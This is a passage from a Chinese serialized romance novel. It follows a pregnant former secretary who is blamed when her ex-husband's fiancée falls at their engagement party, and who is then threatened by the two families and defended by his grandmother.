“自我介绍一下,张科研,国外NJ大学毕业,在国外实习一年,回国后已经成功应聘到微克,马上正式入职。” 张科研礼貌的自我介绍。 “你好,沈渺。”沈渺没相过亲,出于礼貌回应了人家一句,不知该再说什么。 “听说沈小姐在百荣做秘书,很有能力。” 张科研淡淡一笑,“能认识沈小姐,是我的荣幸,我们点餐吧,趁着午餐时间聊,免得耽误沈小姐工作。” 他招手,正欲喊服务员,沈渺迅速开口。 “不用了,张先生,我现在已经不是百荣秘书了,只是很普通的后勤部的一个职员。” 许是吴蕾介绍时,沈渺还没被降职,所以张科研不知道。 沈渺纠正完,顿了顿又继续说,“张先生的背景优秀,微克是业界内前五十强,将来前途不可限量,我自愧不如,就不浪费张先生时间了。” 张科研微微皱了下眉,很快又舒展开,“沈小姐方便透露一下,调职原因吗?” “不方便。”沈渺缓缓摇头,“抱歉。” “没关系。”张科研看着她。 虽然她被调职成为后勤的事情,吴蕾没说。 可她长得漂亮,名牌大学毕业,做秘书时在业界内也是很有名气的。 这些都让张科研对她,很感兴趣。 “我并不注重另外一半的工作,只要两个人谈得来,比什么都重要。” 没料到他这么说,沈渺抿了下嘴唇说,“抱歉,我现在没有恋爱的打算。” 张科研淡笑,“那我们可以先从朋友做起。” “我觉得我们不是很合适。” “还没有接触,沈小姐不该这么武断。”张科研面不改色,带着一股韧劲,想与她深入接触。 沈渺不得不扯谎,“我有男朋友了。” 张科研惊讶了一瞬,“看来,沈小姐是真的看不上我,接二连三找了这么多借口。” “抱歉。”沈渺头疼不已,“我……” “没关系。”张科研沉吟片刻,掏出手机,点开微信,“不介意的话,做朋友吧。” 沈渺迅速拿出手机,互相加了好友。 她连饭都没吃就走了。 回去以后给吴蕾发消息,以自己降职配不上张科研为由,让吴蕾打消撮合的念头。 一番折腾,她连热乎午餐都没吃上,在楼下买了个三明治垫吧肚子。 埋头又写了一下午,写得手指头都快抽筋了,终于将请柬全部写完。 第二天,她又被派去送请柬。 除了跟贺家、程家关系亲近的世家,其他人都交给沈渺送。 她围着京北跑了好几圈,从天亮到天黑,足足跑了一天,才将所有的请柬送完。 布置婚宴厅现场,亲手包扎花束。 所有繁杂苦累的活儿,都被程唯怡借周芸的手,安排给了沈渺。 沈渺没有像她想的那样撂挑子不干。 反而干得起劲儿,仿佛这场订婚宴是自己的那般,尽心尽力。 沈渺每天累到筋疲力尽,就是为了消耗多余的精力,将时间填满,离着她离开的日子逼近得更快。 程唯怡最终还是选了九洲旗下的酒店。 目的只有一个,让何之洲好好看看,她跟贺忱要订婚了! 布置婚宴厅的时候,沈渺几次出入酒店,又偶遇了何之洲几次。 可每次,何之洲看到她都像耗子见了猫,跑得飞快。 贺懿发现他们不对,是因为她才知道沈渺被降职。 调查沈渺被降职的原因,以及现在工作内容时,意外发现何之洲躲着沈渺。 她立马跑去找贺老夫人。 “奶奶,何之洲这什么意思啊?躲着渺渺,是不是想当个渣男,不负责啊!” 贺老夫人一听这话,脸拉下来,“我就知道,何家没一个好的!” 贺懿心急如焚,“真不知道渺渺怎么跟他混到一起去的!” “何家那小子出了名的混账,专门爱跟你哥对着干,搞不好……招惹渺渺就是为了给你哥看,现在渺渺被降职,对他来说没用了,他拍拍屁股走人了!” 贺老夫人很快将事情连串起来。 贺懿倒吸一口凉气,“都是被我哥害的!何之洲要是敢不对渺渺负责,我让我哥把她娶回来,给她的孩子当爹!” “说什么胡话。”贺老夫人呵斥道,“你哥也配?” 64.贺忱与程唯怡订婚 不是不配给何之洲的孩子当爹。 而是不配,再跟沈渺在一起。 毕竟他现在跟程唯怡都到了订婚这一步,都变成二手男人了。 “奶奶,我们怎么办啊?”贺懿晃着贺老夫人的胳膊,“帮帮渺渺啊!” 贺老夫人一脸老谋深算,脸上的褶子都有十几道弯。 “你哥马上要订婚,这事儿暂且压一压,等他们订完婚,我就去找何家谈谈!” 她势必要给沈渺撑腰! 贺懿拍着胸脯,“我也去!” —— 终于,在贺忱订婚前一天,沈渺无事可做,能喘口气了。 她约商音见面,商量离开京北的去处。 坤城不能再去了,以防何之洲那边出岔子。 商音约她到孤儿院见面,最近她们都忙,很久没回去了。 下了班到孤儿院时,正赶着晚餐时间。 沈渺跟商音给孩子们做了一桌子好吃的,陪着孩子们吃饭。 “我看南海也不错。”商音将备选南海,提上首选,“就是离着京北远了点。” “远一点也不错。”沈渺接话。 商音撇了下嘴,“确实,你被降职时间还短,应该传不到南海去,到时候最好别影响你找工作。” 沈渺摇头,“瞒不住的,所以未来我的工作会很不稳定。” 若是从百荣秘书的位置上,和平解约离开,她下一份工作不愁。 可现在,一切都成了未知数。 “不稳定就别走了。” 浅姨走过来,插嘴道,“跑那么远吃苦受累的,图什么?” 商音冲浅姨笑了笑,“我们有存款,您就别操心了,反正少不了您和孩子的。” 闻言,浅姨脸色一拉,“什么叫我和孩子的?都是给孩子们花的钱!你们两个是从孤儿院出去的……” 她们每一次回来,都会被浅姨念叨一顿。 沈渺静静听着。 商音在她看不见的地方翻白眼。 “所以,能不走还是不走,真有那么多存款……都掏出来给孩子们花了!” 浅姨大手一挥,就要将她们近几年的积蓄,全部掏空。 商音脸色微变,“您这样就过分了,我们从小是在孤儿院长大的没错,可我们上学读书没花孤儿院的一分钱!而且这些年早就还清了,您一句话就要把我们榨干了啊!” 沈渺靠的是奖学金,商音没读大学时就开始钻研自媒体,有收入了。 她们两个是孤儿院最有出息的,回报给孤儿院也是最多的。 她们手里的积蓄,是在孩子们不缺吃不缺穿的前提下,攒下来的! 浅姨说不过商音,闭上了嘴。 商音冷嘁一声,起身走出房间。 气氛有些僵拙,沈渺正欲跟着商音出去,衣袖被扯动。 “渺渺姐姐,不管你们去哪里,将来我长大赚了钱,就去找你们!” 小女孩叫林卷卷,是孤儿院目前唯一一个健全的孩子。 卷卷三年前来的孤儿院,那时她已经六岁了。 听说她父母意外离世,她被辗转送到各个远亲家,没有人愿意养她。 所以来到孤儿院后,她小心翼翼地生活,很让人心疼。 后来沈渺跟商音回去,一直开导她,她才重新找回小孩的天真和快乐。 “卷卷最乖了,一定要好好学习哦,姐姐有机会就回来看你们,只是去外地工作而已,知道吗?” 沈渺与卷卷对视,看出女孩眼底的几分不舍,她将一根小鸡腿放到卷卷碗里,“好好学习和多多赚钱的前提,都是要有一个好身体,多吃一点。” 卷卷忙不迭点头,大口地吃着东西。 饭后,卷卷抢着帮她们收拾桌子,跟在她们后面一口个‘渺渺姐姐,商音姐姐’的喊。 她是沈渺跟商音要离开孤儿院里,最大的不舍。 不远处,浅姨看着这一幕,眸底闪过一抹精光。 —— 眨眼,订婚当天。 整个十六组,都被派到订婚宴现场帮忙。 沈渺穿着黑色制服,站在婚宴厅角落,耳边充斥着音乐声。 她看着大屏幕上轮番播放的照片。 贺忱轮廓深邃的五官,眸色里带着前所未有的情深款款。 程唯怡依偎在他身旁,笑容灿烂俨然是沉浸在幸福中的女人。 宾客们在照片前驻足,赞不绝口。 想让程唯怡摆脱‘丑’的传言,彻底站起来,与贺忱订婚是最直接有效的办法。 她摇身一变成为贺忱的未婚妻,所有人都只有把羡慕两个字扣烂的份儿,谁还敢再说一句程唯怡不好? 订婚宴即将开始,客人们都到齐了。 沈渺捕捉到何之洲的身影, 何之洲穿着一套浅粉色骚包西装,白色的皮鞋,锃光瓦亮的头发梳理得一丝不苟,游刃有余地在宴会厅里转来转去。 不知不觉,他就转到了沈渺旁边。 不过这次他没再躲沈渺,直接走过来说,“放心,我改变主意了,什么也不做。” 沈渺警惕地打量他,不怕他嚷嚷着要闹事。 就怕他一声不吭干坏事。 “别用这个眼神看着我,我只是觉得……贺忱订了婚,故事才能变得更有意思。” 何之洲幸灾乐祸,贺忱订婚,再传出喜当爹,才是乱套了! 沈渺收回与他对视的目光。 “嗯,您说的都对。”她对何之洲这几分钟一变的想法,感到无奈又好笑。 不过好在他改变了主意。 今天这场订婚宴,注定是饱受瞩目,万无一失的。 贺忱跟程唯怡,要订婚了。 明天,沈渺就去跟部长提离职。 她,终于能走了。 “沈渺!” 周芸气喘吁吁跑过来,指着楼上说,“程小姐让你上去一趟。” 此刻,程唯怡正在楼上化妆。 距离订婚宴开始,只剩下五分钟的时间。 “有事吗?”沈渺问。 周芸一脸不高兴,“让你去你就去,哪儿这么多废话!” 她面色隐含着一股嫉妒。 像是有什么好事,要落在沈渺头上了。 可遇上程唯怡,沈渺哪儿有好事? 到底沈渺还是上楼了,她敲响了化妆间的门。 程唯怡穿着白色珠纱裙,胸口到腰线部位镶嵌着价值不菲的宝石。 灯光的照耀下闪闪发光,刺得人睁不开眼睛。 她站在那里,贵气高傲,俾睨着沈渺。 “沈渺,等会儿你搀着我下楼。” “程小姐,这不符合礼数。”沈渺淡然拒绝道,“理应由程先生或者程夫人来。” 程唯怡眉梢一挑,语气不容置疑,“我就要让你来。” 沈渺沉默。 有钱人的规矩,就是规矩。 别说程唯怡让她来,就算喊个乞丐,都没人管得了。 “我要让你亲眼看着,贺忱哥娶我。” 沈渺想提醒她,这只是订婚,还不是结婚。 可是看到程唯怡盯着她如针芒的目光,她颔首,“能亲眼见证你们在一起,是我的荣幸。” “时间到了!”门外,有人嚷了一声。 程唯怡想说的话被打断,她抬起胳膊。 沈渺上前,双手搀扶着她的胳膊,卑躬屈膝地扶着她,朝楼梯口走去。 “沈渺,现在你知道贺忱哥多爱我了吧?” 程唯怡脸上挂着得体的笑容,压低声音同沈渺说。 “你跟了他两年,不过是他解决生理问题的工具罢了,他不会给你任何外在的名分!” 沈渺低着头,静静听她锋利的话语。 旋转楼梯下,贺忱一身黑色西装,身材健壮有型。 轮廓分明的五官俊朗无双,他掀起单薄的眼皮看过来。 那双枯井般深邃的眼眸,掠过沈渺时,涌上来一股寒意。 再落到程唯怡脸上,又恢复了温柔绵意。 “沈渺,你不配光明正大地站在他身边!” 程唯怡丢下一句恶狠狠的话,甩开她的胳膊,冲她得意的笑了下,拎起裙摆下去。 沈渺黑白分明的眼眸,看着程唯怡缓缓走下台阶。 轻柔欢快的音乐声延绵不绝,她转身欲走。 却听一声惊呼:“啊!” 下一秒,沈渺的头发被人扯了一把,身体不受控制地朝楼梯方向倒下去! 65.程唯怡是被沈渺害的! 天旋地转间,沈渺的手胡乱抓了一把,紧紧勾住了栏杆。 惯性抻的她胳膊生疼,好在她摇摇欲坠的身体,悬空在那儿,没有摔下去。 可她身体后坠,整体重心向下,费了半天力气也没有站稳。 台阶上空无一人,她求助的目光转过来,便看到程唯怡摔落在贺忱怀里。 贺忱一脸担心,漆黑的瞳仁里只有程唯怡。 明黎艳和孙易琴从贵宾席上快步走过来,其他人一窝蜂似的涌过来,围着程唯怡。 无人看到沈渺拽着栏杆,姿势狼狈,随时可能滚落楼梯! 沈渺胳膊的力气殆尽,全凭一股信念坚持着。 十几层的台阶,她若滚下去,孩子怎么办? 她张了张嘴,却被提到嗓子眼的心,堵住了喉咙般,根本发不出声音。 没有血色的双手,紧紧抓着栏杆,开始颤抖—— 她看着手指渐渐松开来,用力地想要重新抓一下,却一点儿力气都没有。 终于,她力气殆尽,蓦地松开,身体不受控制地向后倒下去。 沈渺闭上眼睛,一滴透明的液体在眼尾滑落。 她想过这个孩子,会被贺忱知道,会有一场抚养权的争夺战。 想过她会输在贺忱手上,跟孩子见上一面都难! 却唯独没想过,她会留不住这个孩子! 这个世界上,唯一跟她有血缘关系的人。 “小心!” 预想中的疼痛没有到来。 沈渺的身体,被一双强而有力的手接住,调整过她姿势,让她坐在了台阶上。 稳稳落地,沈渺坐在顶端台阶上,看着数十层台阶下。 贺忱抱着程唯怡离开,自始至终未曾看过她一眼。 人群散开,从这儿看下面显得更空旷,高度更甚。 一股后怕爬上背脊,与发自内心的寒凉,让沈渺觉得此时比寒冬腊月的冰窟,还要冷。 “吓死我了。” 何之洲伸出手,在她面前晃了晃,“你没事吧?该不会是丢了三魂七魄?” 沈渺眼球微动,转过头来,这才明白过来,扶她的人是何之洲。 “谢谢你。” “不用谢,救人一命胜造七级浮屠,我救了两个,给我自己积德呢。” 何之洲见她脸色苍白,气息还不稳,估计吓坏了,试图调和气氛。 可是说完,见沈渺没有一点缓下来的意思。 他收敛了笑容,“有没有哪里不舒服,要不要去医院?” “不用。”沈渺缓缓摇头,“没摔到,孩子没事。” 她的手摸着小腹,感受着那儿温热的气息,心安了不少。 “这婚,是订不成了。”何之洲打量着沈渺的脸色,“刚刚,到底怎么回事?” 沈渺摇头,她也不知道怎么回事。 她松开程唯怡,本都打算离开了,突然被扯了头发,现在头皮还隐隐作痛。 “可能是程唯怡没站稳,摔下去了。” 何之洲小声嘟囔了句,“看来老天爷也想看戏呢。” 沈渺靠在栏杆上,看着原本人满为患的婚宴厅,很快就走光了。 空荡荡的大厅,却远不及她心底万分之一的空荡。 不知过了多久,酒店工作人员来收拾残局了。 沈渺这才扶着栏杆站起来。 “你不去医院?”何之洲刷着新闻,“媒体说程唯怡的小腿骨裂了。” 在这么高的地方摔下去,骨裂算是不幸中的万幸。 可程唯怡是程家的掌上明珠,又是准贺家少夫人,可把两家人急坏了。 明黎艳联系了国外的骨科专家回来,给程唯怡看病。 “不去。”沈渺微动着两条还酸软无力的腿,“我跟程小姐不熟,没必要过去。” 她想,程唯怡也不愿意看到她。 “那我送你回去吧。”何之洲掏出车钥匙,“能走吗?我扶你?” 沈渺,“不用了,我一个人可以。” 她脸色苍白,说话的声音都带着一丝颤抖。 “你这样,我可不放心。”何之洲坚持,“放心,人都走光了,不会有人看到我送你。” 对于参加订婚宴的宾客来说,他们根本不认识沈渺是谁。 对于贺忱来说,沈渺只是一个下属,远不如程唯怡重要。 所以明明她跟程唯怡一起摔倒的。 可是根本没有人,将目光停留在她身上过。 沈渺习惯了,只是心底的失落,控制不住。 “抱歉何总,我想一个人静一静。” 她转身离开,腿依旧软,像踩在棉花上一样,所以走得很慢。 何之洲看着她离开,连连摇头,在心里替贺忱惋惜。 蓦地,他目光捕捉到楼梯角落一个黑色的东西。 走过去拿起来,观察一番才发现,是断掉的高跟鞋鞋跟。 而断痕处,有胶粘的痕迹。 他眉头顿时一拧,转身匆匆去安保部,调监控…… —— 医院,程唯怡还在接受检查。 明黎艳与孙易琴等人与医生沟通着。 贺忱站在窗边吸烟,他眸色沉暗,整张脸都绷着。 口袋里的手机响起,他掏出接起。 是贺懿,她问,“沈渺怎么样?” 贺懿她们坐着的地方,只能看到一抹残影,依稀看到沈渺踉跄了,不知道具体什么情况。 想到沈渺怀着孩子,贺老夫人一时着急,血压飙升。 贺懿顾不上管沈渺,带着贺老夫人回家吃降压药,这才降下来。 “她好得很。”贺忱下颚线条清晰,字句在牙缝里蹦出来。 何之洲搂着沈渺的画面,历历在目。 “那就行。”贺懿松一口气,就怕沈渺出事,“程唯怡没事吧?” “骨裂。”贺忱嘴里咬着烟,嗓音冷冽模糊。 贺懿‘哦’了一声,“那就行了,奶奶这边血压控制住了,不用担心,你好好照顾程唯怡吧。” ‘啪’贺懿挂了电话。 贺忱把手机收起来,掐灭了烟,火光在他漆黑的瞳仁里泯灭。 他面色郁郁。 “唯怡最怕疼了,骨裂啊,她是怕我们担心,所以一直忍着没哭。” 孙易琴心疼得直掉眼泪,“黎艳,你说说这孩子,多懂事啊!” 明黎艳一脸心疼,“唯怡这孩子,一直都这么懂事,放心吧,我已经联系了国外的医生,一定不会让她留下任何的后遗症。” “放什么心?”孙易琴若有所指,“她从跟了贺忱,哪过过一天好日子?先是被网曝,这又……” 她这话,就差不直接说,程唯怡是被沈渺害的! 66.明董和程夫人来找你算账! 网曝那笔账,算在沈渺头上。 这次,依旧是在沈渺头上! 她这话一出,明黎艳沉默下来。 事发突然,没有人看清楚是怎么回事。 “黎艳,你怎么不说话?”孙易琴语气坚定,“唯怡在那楼梯上彩排了多少次,她这些年也一直穿高跟鞋,怎么会不小心呢?肯定是沈渺推了她!” 明黎艳朝贺忱的方向看了一眼,然后才接话,“沈渺这女人,真是不安分,你放心,我会给唯怡一个交代。” 孙易琴可听她说了太多次这话了。 从沈渺挑拨离间,让程唯怡跟贺忱吵架,到现在出了这么大的事情。 交代没落地,问题还层出不穷。 “这次,我自己替唯怡出头。” 上次孙易琴就想彻底解决了沈渺,被杨琳吸走了火力。 这次,她一定要亲自会会沈渺! “那,那到时候我们一起。”明黎艳拍了拍孙易琴的手,安抚道,“放心,唯怡不会有事的。” 孙易琴点着头,目光却是看向贺忱,心底隐隐有些担心。 半小时后,程唯怡从检查室推出来。 她右腿打了石膏,脸色苍白,唇上没有一丝血色,看起来可怜兮兮。 刚出来,她就朝贺忱伸出手去,“贺忱哥。” 贺忱走过去,大手覆在她肩膀上,“我在呢,你安心养着。” “我们的订婚宴——”程唯怡哽咽着,她期待已久的订婚宴,就这么毁了! “今天虽然没办成,可也算订过婚了,你们就是未婚夫妻!” 孙易琴立马说,“等你腿好了,补个流程就是!” 明黎艳也过来安慰,“对,你已经是我们贺家的准儿媳了,还补什么订婚宴流程,下次直接结婚!” 程唯怡攥着贺忱的西装衣角,听着她们的话,抬起的眼眸探究地看着贺忱。 贺忱并未说话,那双深井般的眸,深谙不可见底。 “快回房间,让唯怡休息一下,吓坏了吧。” 明黎艳示意贺忱带着程唯怡回病房。 医生拿着所有检查报告,跟着去了病房,一一交代着程唯怡的病情。 “程小姐年轻,休养一段时间就能恢复正常生活,只是近半年最好不要再穿高跟鞋……” 孙易琴坐在病床上,抓着程唯怡的手,一脸心疼又怜爱。 程唯怡另一只手,却紧紧拉着贺忱,仿佛一松手,贺忱就能跑了那般。 见状,孙易琴说,“贺忱,这几天就麻烦你在医院照顾唯怡了,我现在这心里一阵后怕,还直突突呢。” “妈。”程唯怡小声开口,虽然很是期待,却懂事地说,“贺忱哥留下来照顾我,会耽误工作的。” 明黎艳见她这么懂事,更加心疼,“就让他在医院照顾你,线上处理工作两不误!” 闻言,程唯怡希冀的目光,看向贺忱,“可以吗,贺忱哥?” 贺忱眉骨一拢,不过片刻又松缓开来,“当然。” 他抬起手看了看腕表,这动作让程唯怡拉着她的手被迫松开。 “只是我要回去,拿几件换洗衣物。” “那你去,黎艳你也跟着他走吧,留下来也分担不了唯怡的疼。” 孙易琴看到程唯怡裹着石膏的小腿,眼泪差点没落下来。 明黎艳好一番安抚程唯怡,然后才跟着贺忱离开。 他们前脚走,后脚孙易琴就问程唯怡。 “你怎么会摔倒呢?” 程唯怡欲哭无泪,“我也不知道怎么回事,突然就没站稳。” 眼看着就要订婚了,突生变故,问题还发生在自己身上。 程唯怡又气又恼,此刻的腿疼对她来说,比起懊恼烦闷,根本算不上什么。 关键是,沈渺现在一定很高兴! 这么一想,她话锋一转又说,“当时我身边除了沈渺没别人,一定是她搞的鬼!” “我就知道是她!”孙易琴一声冷哼,“你放心养着,明天我跟你伯母去找沈渺算账,这次非得把她在贺忱身边弄走!” 程唯怡的懊恼,转为怨气,积攒在胸口,“就是,妈你一定要给我做主。” 孙易琴好一阵安慰女儿。 一旁,始终沉默的程青良开了口,“你们的订婚宴,怎么会落到沈渺身上?又怎么会是她搀扶着你下来?” 程唯怡心底一虚。 订婚宴流程,本不该交给后勤部。 带着她下楼的人,也不该是沈渺。 还不是她想跟沈渺炫耀,让沈渺亲眼看着自己跟贺忱订婚,死了那对贺忱念念不忘的心! 谁知道—— “这个时候,你说这些干什么?”孙易琴瞪程青良,“女儿出事,你一句安慰都没有,张口就是质问,你到底还是不是她爸?” 程青良怎能不心疼? 可比起程唯怡的伤,他更觉得订婚宴被搅毁,更重要。 就差一步之遥! 程家几口在病房里吵吵着。 网上也炸了锅,订婚宴中途中断,到底还算不算订过婚,成了众议的焦点。 沈渺回到家里,脱掉鞋子,赤脚走进客厅,瘫倒在沙发上。 不论这个婚,定成与否,总算是结束了。 孩子也很安全,此刻她提着的心,才算是彻底落下。 看到新闻,商音打电话来问,“怎么回事啊?” “说来有点复杂。”沈渺捏捏眉心,有气无力道,“等见面再细说。” 她并未与商音提差点儿摔倒的事情。 聊了几句,两人挂断电话。 沈渺给后勤部部长发消息,提了离职。 部长让她明天到公司详谈。 次日一早,沈渺到了公司,直接就去了部长办公室。 许是没想到她来得这么快,部长有些意外。 “那,离职的事情我跟人事部说一下,走流程也要时间的。” 沈渺拿出离职协议书,她已经签过字了,“文件我已经签好了,您签字盖章,直接让人事部走流程就可以了。” 部长犹豫了下,才接过来,“那行,你先去工作,等我通知。” “好。”沈渺转身离开。 她前脚走,后脚部长就拿出手机,拨出电话去,“贺总,沈秘书递交辞呈了……” 按理说,沈渺的辞呈是不用再经贺忱手的。 可是昨天的订婚宴被搅毁,虽然新闻没报道这事儿与沈渺有关系。 可是周芸早就在后勤部嚷嚷开了,说是沈渺搞的鬼。 事情还没调查清楚,部长哪里敢放沈渺走? 沈渺来公司,就已经察觉到众人看她的眼神不对。 不等她到工位上坐下,就听周芸喊了一声,“沈渺,明董和程夫人来了,找你算账的!” 67.目光敏锐地落在她小腹上 诸多的眼神朝沈渺看过来,或同情或看戏。 让沈渺意外的是,周芸只是看了她一眼,没像往常那样幸灾乐祸。 会客室的窗户半磨砂,一眼就能看到明黎艳和孙易琴坐在里面。 两人挨得极近,一边说话一边往外面看。 来势汹汹。 还是没能跑掉,沈渺的心漏跳两拍,调转方向朝会客室走去。 会客室的门一开,两道如芒的目光,落在沈渺脸上。 “明董,程太太。”沈渺关上门,朝她们颔首,“二位找我有事?” 明黎艳冷然一笑,“找你干什么,你心里不清楚?” 沈渺摇头,“不清楚。” 这是孙易琴第一次跟沈渺正面‘交锋’。 她打量着沈渺,“昨天在订婚宴上,你故意把我女儿推下楼,真当我们不知道?” “您有证据吗?”沈渺淡定自若地反问。 “这种事情还需要证据吗?”孙易琴理直气壮,“我们那么多双眼睛都看到了!” 只要她一声令下,参加宴会的宾客,都会为她的话作证,说他们‘看到了’。 沈渺垂在身侧的手,倏地攥紧。 果然,她们还是将整件事情,扣在了她头上。 她迫不及待的谈离职,就是想在她们有动作之前离开。 却没想到,她们找上门的这么快。 “程夫人,明董,我是孤儿不是脑残,我不会当着那么多人的面推程小姐。” “你——”孙易琴见她态度如此,气结。 沈渺继续说,打断她,“如果你们不信,可以报警。” 本以为,就是个无依无靠的孤儿。 交谈两句,孙易琴立马改变了对她的看法。 可真是个有心计的女人! “你曾经跟贺忱有过两年的婚约,事情闹大了,你把这件事情捅出去,对我们贺家百害而无一利。” 明黎艳面色凝重,“你明知我们不会报警,以为这样说我们就会相信你了?” 警方盘问,沈渺跟贺忱结过婚的事情,肯定瞒不住。 沈渺百口莫辩,好像怎么解释都没用。 “该解释的我都解释清了,信不信是你们的事情。” 孙易琴看了明黎艳一眼,那眼神似乎在说,沈渺这是承认了的意思! 明黎艳给她使了个眼色。 她调整了下坐姿,姿态高高在上道,“我要召开记者会,你在记者会上当众跟唯怡道歉认错,承认是你破坏了她的订婚宴。” 因为摔倒,导致订婚宴被中断,传出去贺家和程家都有些丢人。 他们必须对外有个解释,而将沈渺推出去,还能挽回一些颜面。 令人唏嘘的乌龙事件,原来是有人故意为之。 大家的嘲笑变成了怒火,沈渺成为众矢之中。 沈渺不确定,她们是想让自己当挡箭牌,还是真觉得,自己推了程唯怡。 她只知道,不能如她们的愿。 “我还是那句话,我没有推程小姐,你们可以选择报警处理,我接受法律的调查,不接受你们的欺压。” 因为她没有犯错,所以是欺压,不是惩治。 明黎艳和孙易琴但凡有证据,她们都不会这么‘平静’地找上门。 “好啊!”孙易琴猛地站起来,指着沈渺与明黎艳说,“黎艳,难怪你一直都没给我一个满意的交代,原来她像茅坑里的臭石头,又臭又硬!” 她这话,让明黎艳有种被打了一巴掌的羞耻感。 她怎么可能治不了沈渺呢? “敬酒不吃吃罚酒,沈渺这是你自找的。” 明黎艳站起来,从口袋里拿出一张照片,甩在沈渺身上。 “如果你不想孤儿院消失,就按我们说的做!” 那张照片,是孤儿院的大合影。 那时的沈渺才十五六岁,小脸稚嫩青涩,但看得出长得漂亮。 她与商音一左一右站在浅姨两旁,再两旁是孤儿院所有的孩子。 孤儿院的规模不大,在京北是鲜少人知的。 凭着明黎艳的手段,想让孤儿院神不知鬼不觉地消失,很简单。 沈渺紧紧捏着那张照片,而她却被一双无形的大手,狠狠勒住了脖子。 她看似没表情的脸上,肌肉微微抽搐着,生理性地控制不住那股从心底涌上来的无奈。 “嘴怎么不硬了?” 孙易琴见她不说话了,心头那股气算消了些,“跟了贺忱两年,没沾染上豪门贵太太的礼义廉耻,倒是学会了拿腔作势,不知道的还以为你背后有什么大人物!” 沈渺沉默着,被压迫性的局势死死拿捏,咬紧内唇,直到唇腔里都是血了,她都未曾松动半分。 “好了。”明黎艳轻蔑地看她一眼,转过头与孙易琴说,“记者会的事情就交给你了,我看就在医院办吧,让她过去一趟,当面给唯怡道歉。” 孙易琴眼珠子一转,又问,“那……她还继续留在百荣吗?” 不知想到什么,明黎艳的脸色不太好看,“先把这事解决了再说。” “那你跟我走!”孙易琴看出来了,沈渺的去留,只怕不是明黎艳能决定的。 她心里窝火,对沈渺的语气更不好了。 沈渺站在那儿不动,心底涌出希冀,总想再说些什么,挽回劣势的局面。 可孙易琴根本不给她机会,见她站着不动,一把拽着她手腕,将她硬拉出会客室。 沈渺步伐踉跄,下意识地护住肚子。 这动作,令孙易琴一僵,目光敏锐地落在她小腹上。 她穿着背带裤,白色的打底衫,看着身材有些臃肿,但是四肢纤细。 不知是这衣服衬托的她像怀了孕的,还是…… 沈渺怔了下,迅速松开手。 昨天被程唯怡拽了那一把,她的胳膊上没有力气,挣脱不开孙易琴的手。 尤其还有明黎艳在后面推搡,两人硬是将她拽到了电梯口。 “她跟贺忱,离婚是有半年了吧?”孙易琴鬼使神差地问了句。 明黎艳不解,“半年多了,怎么?” 孙易琴上下打量着沈渺。 沈渺如履薄冰,听出她那话的深意,心跳骤然加速。 “她跟贺忱离婚后,调到分公司去了?”孙易琴不得不往深处想,“之后,他们接触多吗?” 明黎艳不明所以,“到底怎么了?” 孙易琴死盯着沈渺的肚子,凑到明黎艳身边,“我怎么她像怀……” 68.今日起,你喊我一声干妈! ‘叮’ 电梯门应声而开。 林昭走出来,站到沈渺旁边,“明董,程夫人,贺总有事找沈秘书。” “有什么事以后再说,我们现在要带她去医院。” 明黎艳顾不上听孙易琴说了什么,伸出手便要抓沈渺另一只手。 林昭不动声色地拦住,顺势将孙易琴拽着沈渺的手,也给扯开了。 “贺总现在就要见沈秘书,我先带她上去了。” 他挡在沈渺前面,偷偷冲着沈渺招手。 沈渺转身就进了电梯。 “你给我让开!”明黎艳想要摁住电梯,阻止她上楼,奈何林昭拦得紧。 电梯门缓缓合上,一路向上,直奔顶层。 逼仄的空间,只有沈渺一人,她低头看了看微微隆起的小腹,眉头拧成一团。 她的肚子随时都有瞒不住,被发现的风险。 —— 十分钟以前,总裁办公室。 贺老夫人拍着桌子,训斥贺忱,“你难道还看不出来,你妈跟程家都容不下渺渺吗!?” “你的脑子里,除了工作能不能有点人之常情?既然都要跟程唯怡订婚了,就不能再把前妻放在身边啊!” 贺忱面色漠然,坐在那里,听着贺老夫人的训斥,眉骨逐渐收拢。 “行,你就算要留她在身边,也得护她周全,她的麻烦,都是你带来的!” 贺老夫人重重拍了下桌子。 贺懿一下又一下地给老太太顺胸口,冲着贺忱点头,“奶奶说得对!” 不论她们说什么,贺忱都锁着眉,一言不发。 “你还不如何家那小子。” 贺老夫人拍了拍贺懿的手。 贺懿立马说,“程唯怡摔倒这事儿,确实不是意外,人家何之洲从来没怀疑过渺渺,已经着手调查了,可你呢?眼里只有程唯怡,根本不管渺渺的死活。” “我不管,她不照样好得很。”贺忱听到‘何之洲’的名字,嗓音沉冷道,“有何之洲给她撑腰,你们急什么?” 贺老夫人气的抬手照他身上就是一拳头。 “你说的是人话吗?渺渺要是少了一根头发丝,我都跟你没完!” 贺忱不躲,结结实实地挨着。 老太太年纪大了,打人不疼。 都不如贺懿那番话,扎心扎地疼。 办公室门被敲响,沈渺的声音传来,“贺总。” 贺老夫人收回手,整理了下着装,示意贺懿带着她到沙发上坐下。 贺懿搀扶着她坐下,小声问,“看我哥这态度,不会向着渺渺的,怎么办啊?” “等着,我有办法。”贺老夫人给贺懿一个‘看我的’的眼神。 祖孙两个刚在沙发上坐下,贺忱就应了声。 沈渺推门而入。 迎面而来的熟悉气息,让她有种恍如隔世的感觉。 出了电梯,她就有些恍惚,心间复杂。 此刻看到贺忱那张俊朗的面容,布满了冷然。 她顿然清醒不少,中规中矩地走进来。 “贺总,您找我。” 贺忱看向她的眼神,宛若枯木,却又泛着深邃的幽光。 “如果您也是为了程小姐的事情,我没什么好说的。” 沈渺觉得他那眼神,也带着审视。 除了为了程唯怡的事情找她算账,她想不出贺忱找她,还能有什么事情。 “有人撑腰,底气就是足。” 贺忱嗓音涔涔,他意有所指。 沈渺的目光却是落在了贺老夫人身上。 看样子,贺老夫人知道明黎艳带着孙易琴来找她,特意赶过来的。 所以,贺忱是在贺老夫人施压下,让林昭下去‘救她’。 贺忱的语气听起来心不甘情不愿,八成是觉得,没能给程唯怡‘讨回公道’,心里不舒服。 “渺渺。”贺老夫人瞪了贺忱一眼,朝沈渺招手。 沈渺走过去,“奶奶,小懿。” 知道沈渺怀孕,贺老夫人着重看了她肚子一眼。 虽然不笨重,可已经有了怀孕的迹象。 再拖下去,沈渺的清白都要没了,她必须得为沈渺做主。 “奶奶相信,程唯怡摔下楼梯的事情,跟你没关系。” 贺老夫人一句‘相信’,戳到了沈渺的泪点。 刚刚在明黎艳与孙易琴面前撑着的那口气,身体里紧绷的那根弦,一下子就崩开了。 她眼眶微红,声音沙沙的,“谢谢您。” “这么长时间以来,你受委屈了,算下来是我们贺家对不起你。” 贺老夫人指的是,最近因为程唯怡闹出的那些动静。 沈渺总是吃亏的那个,她心里过意不去。 